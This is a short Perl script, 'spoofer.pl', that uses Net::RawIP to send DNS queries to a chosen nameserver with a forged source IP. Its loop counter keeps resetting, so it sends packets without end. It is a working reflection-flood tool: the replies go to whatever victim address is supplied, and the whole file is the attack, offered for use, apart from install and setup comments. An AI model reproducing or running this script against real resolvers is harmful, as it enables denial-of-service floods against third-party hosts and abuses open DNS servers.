#!/usr/bin/perl

# Get Net::RawIP at
https://search.cpan.org/CPAN/authors/id/S/SZ/SZABGAB/Net-RawIP-0.21_01.tar.gz
# cpan Net::DNS:Resolver seems to work fine on each machine I throw it
on, as well.


# PS: To see if you can spoof, check out the ANA Spoofer project.
# https://spoofer.csail.mit.edu/

use Net::DNS::Resolver;
use Net::RawIP;
use strict;

if ($ARGV[1] eq '') {
    print "Usage: spoofer.pl <Nameserver> <IP>\n";
    exit(0);
}
print ("Sending DNS requests to $ARGV[0] with source IP $ARGV[1]...\n");
my $str;
my $name;
my @name = ("irc.efnet.net", "irc.dal.net", "irc.undernet.org",
"irc.freenode.net");
my $src_ip;
for (my $i=0; $i < 256; $i++) {
    if ($i>1) {                        # Make new string
        $str = @name[int rand(3)];
        $i = 0;
    }
    $src_ip = $ARGV[1];
    # Make DNS packet
    my $dnspacket = new Net::DNS::Packet($str, "A", "IN");
    my $dnsdata = $dnspacket->data;
    my $sock = new Net::RawIP({udp=>{}});
    # send packet
    $sock->set({ip => {
                saddr => $src_ip, daddr => "$ARGV[0]",
frag_off=>0,tos=>0,id=>1565},
                udp => {source => 53,
                dest => 53, data=>$dnsdata
                } });
    $sock->send;
}
exit(0);